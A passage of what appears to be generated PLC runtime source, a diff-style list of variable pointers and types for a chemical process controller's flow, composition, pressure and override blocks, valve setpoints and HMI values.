+{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, 